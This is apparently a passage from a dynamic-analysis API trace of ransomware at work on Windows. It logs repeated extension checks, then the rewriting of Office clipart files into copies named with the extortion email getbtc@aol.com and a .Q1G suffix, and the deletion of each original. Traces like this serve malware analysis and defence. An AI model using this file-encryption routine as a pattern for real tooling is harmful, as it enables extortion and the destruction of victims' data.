lpString2=".WMF") returned -1 [0252.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0252.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0252.065] lstrlenW (lpString=".doc") returned 4 [0252.065] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.065] lstrlenW (lpString=".docx") returned 5 [0252.065] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.065] lstrlenW (lpString=".pdf") returned 4 [0252.065] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.066] lstrlenW (lpString=".xls") returned 4 [0252.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.066] lstrlenW (lpString=".xlsx") returned 5 [0252.066] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.066] lstrlenW (lpString=".ppt") returned 4 [0252.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0252.066] lstrlenW (lpString=".zip") returned 4 [0252.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.066] lstrlenW (lpString=".rar") returned 4 [0252.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.066] lstrlenW (lpString=".bz2") returned 4 [0252.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.066] lstrlenW (lpString=".7z") returned 3 [0252.066] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0252.066] lstrlenW (lpString=".dbf") returned 4 [0252.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0252.066] lstrlenW (lpString=".1cd") returned 4 [0252.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0252.066] lstrlenW (lpString=".jpg") returned 4 [0252.066] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.066] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0252.066] lstrlenW (lpString="HH01329_.WMF") returned 12 [0252.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0252.067] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=6016) returned 1 [0252.067] CloseHandle (hObject=0x394) returned 1 [0252.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf")) returned 0x20 [0252.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0252.067] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.067] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0252.068] GetLastError () returned 0x0 [0252.068] ReadFile (in: hFile=0x394, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1780, lpOverlapped=0x0) returned 1 [0252.069] WriteFile (in: hFile=0x324, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1790, lpOverlapped=0x0) returned 1 [0252.070] ReadFile (in: hFile=0x394, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.071] WriteFile (in: hFile=0x324, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.071] SetEndOfFile (hFile=0x324) returned 1 [0252.071] CloseHandle (hObject=0x324) returned 1 [0252.071] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.071] SetEndOfFile (hFile=0x394) returned 1 [0252.073] CloseHandle (hObject=0x394) returned 1 [0252.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.073] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf")) returned 1 [0252.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0252.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0252.074] lstrlenW (lpString=".doc") returned 4 [0252.074] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.074] lstrlenW (lpString=".docx") returned 5 [0252.074] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.074] lstrlenW (lpString=".pdf") returned 4 [0252.074] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.074] lstrlenW (lpString=".xls") returned 4 [0252.074] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.074] lstrlenW (lpString=".xlsx") returned 5 [0252.074] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.074] lstrlenW (lpString=".ppt") returned 4 [0252.074] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0252.074] lstrlenW (lpString=".zip") returned 4 [0252.074] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.074] lstrlenW (lpString=".rar") returned 4 [0252.074] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.074] lstrlenW (lpString=".bz2") returned 4 [0252.074] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.074] lstrlenW (lpString=".7z") returned 3 [0252.074] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0252.074] lstrlenW (lpString=".dbf") returned 4 [0252.074] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0252.074] lstrlenW (lpString=".1cd") returned 4 [0252.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0252.074] lstrlenW (lpString=".jpg") returned 4 [0252.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0252.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0252.075] lstrlenW (lpString=".doc") returned 4 [0252.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.075] lstrlenW (lpString=".docx") returned 5 [0252.075] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.075] lstrlenW (lpString=".pdf") returned 4 [0252.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.075] lstrlenW (lpString=".xls") returned 4 [0252.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.075] lstrlenW (lpString=".xlsx") returned 5 [0252.075] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.075] lstrlenW (lpString=".ppt") returned 4 [0252.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0252.075] lstrlenW (lpString=".zip") returned 4 [0252.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.075] lstrlenW (lpString=".rar") returned 4 [0252.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.075] lstrlenW (lpString=".bz2") returned 4 [0252.075] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.075] lstrlenW (lpString=".7z") returned 3 [0252.075] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0252.075] lstrlenW (lpString=".dbf") returned 4 [0252.075] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0252.075] lstrlenW (lpString=".1cd") returned 4 [0252.075] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0252.075] lstrlenW (lpString=".jpg") returned 4 [0252.075] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.075] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0252.076] lstrlenW (lpString="HH01461_.WMF") returned 12 [0252.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0252.076] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=5958) returned 1 [0252.076] CloseHandle (hObject=0x394) returned 1 [0252.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf")) returned 0x20 [0252.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0252.076] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.077] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0252.077] GetLastError () returned 0x0 [0252.077] ReadFile (in: hFile=0x394, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1746, lpOverlapped=0x0) returned 1 [0252.079] WriteFile (in: hFile=0x324, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1750, lpOverlapped=0x0) returned 1 [0252.079] ReadFile (in: hFile=0x394, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.080] WriteFile (in: hFile=0x324, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.080] SetEndOfFile (hFile=0x324) returned 1 [0252.080] CloseHandle (hObject=0x324) returned 1 [0252.080] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.080] SetEndOfFile (hFile=0x394) returned 1 [0252.082] CloseHandle (hObject=0x394) returned 1 [0252.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.082] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf")) returned 1 [0252.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0252.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0252.083] lstrlenW (lpString=".doc") returned 4 [0252.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.083] lstrlenW (lpString=".docx") returned 5 [0252.083] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.083] lstrlenW (lpString=".pdf") returned 4 [0252.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.083] lstrlenW (lpString=".xls") returned 4 [0252.083] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.083] lstrlenW (lpString=".xlsx") returned 5 [0252.083] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.083] lstrlenW (lpString=".ppt") returned 4 [0252.083] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0252.083] lstrlenW (lpString=".zip") returned 4 [0252.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.083] lstrlenW (lpString=".rar") returned 4 [0252.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.083] lstrlenW (lpString=".bz2") returned 4 [0252.083] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.083] lstrlenW (lpString=".7z") returned 3 [0252.083] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0252.083] lstrlenW (lpString=".dbf") returned 4 [0252.083] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0252.084] lstrlenW (lpString=".1cd") returned 4 [0252.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0252.084] lstrlenW (lpString=".jpg") returned 4 [0252.084] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0252.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0252.084] lstrlenW (lpString=".doc") returned 4 [0252.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.084] lstrlenW (lpString=".docx") returned 5 [0252.084] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.084] lstrlenW (lpString=".pdf") returned 4 [0252.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.084] lstrlenW (lpString=".xls") returned 4 [0252.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.084] lstrlenW (lpString=".xlsx") returned 5 [0252.084] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.084] lstrlenW (lpString=".ppt") returned 4 [0252.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0252.084] lstrlenW (lpString=".zip") returned 4 [0252.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.084] lstrlenW (lpString=".rar") returned 4 [0252.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.084] lstrlenW (lpString=".bz2") returned 4 [0252.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.084] lstrlenW (lpString=".7z") returned 3 [0252.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0252.084] lstrlenW (lpString=".dbf") returned 4 [0252.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0252.084] lstrlenW (lpString=".1cd") returned 4 [0252.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0252.085] lstrlenW (lpString=".jpg") returned 4 [0252.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.085] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0252.085] lstrlenW (lpString="HH01618_.WMF") returned 12 [0252.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0252.085] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=7296) returned 1 [0252.085] CloseHandle (hObject=0x394) returned 1 [0252.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x20 [0252.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0252.086] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.086] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0252.086] GetLastError () returned 0x0 [0252.086] ReadFile (in: hFile=0x394, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1c80, lpOverlapped=0x0) returned 1 [0252.088] WriteFile (in: hFile=0x324, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1c90, lpOverlapped=0x0) returned 1 [0252.089] ReadFile (in: hFile=0x394, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.089] WriteFile (in: hFile=0x324, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.089] SetEndOfFile (hFile=0x324) returned 1 [0252.089] CloseHandle (hObject=0x324) returned 1 [0252.089] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.089] SetEndOfFile (hFile=0x394) returned 1 [0252.091] CloseHandle (hObject=0x394) returned 1 [0252.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.091] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf")) returned 1 [0252.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0252.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0252.092] lstrlenW (lpString=".doc") returned 4 [0252.092] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.092] lstrlenW (lpString=".docx") returned 5 [0252.092] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.092] lstrlenW (lpString=".pdf") returned 4 [0252.092] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.092] lstrlenW (lpString=".xls") returned 4 [0252.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.092] lstrlenW (lpString=".xlsx") returned 5 [0252.092] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.092] lstrlenW (lpString=".ppt") returned 4 [0252.092] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0252.092] lstrlenW (lpString=".zip") returned 4 [0252.092] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.092] lstrlenW (lpString=".rar") returned 4 [0252.092] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.092] lstrlenW (lpString=".bz2") returned 4 [0252.092] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.092] lstrlenW (lpString=".7z") returned 3 [0252.092] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0252.092] lstrlenW (lpString=".dbf") returned 4 [0252.092] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0252.093] lstrlenW (lpString=".1cd") returned 4 [0252.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0252.093] lstrlenW (lpString=".jpg") returned 4 [0252.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0252.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0252.093] lstrlenW (lpString=".doc") returned 4 [0252.093] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.093] lstrlenW (lpString=".docx") returned 5 [0252.093] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.093] lstrlenW (lpString=".pdf") returned 4 [0252.093] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.093] lstrlenW (lpString=".xls") returned 4 [0252.093] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.093] lstrlenW 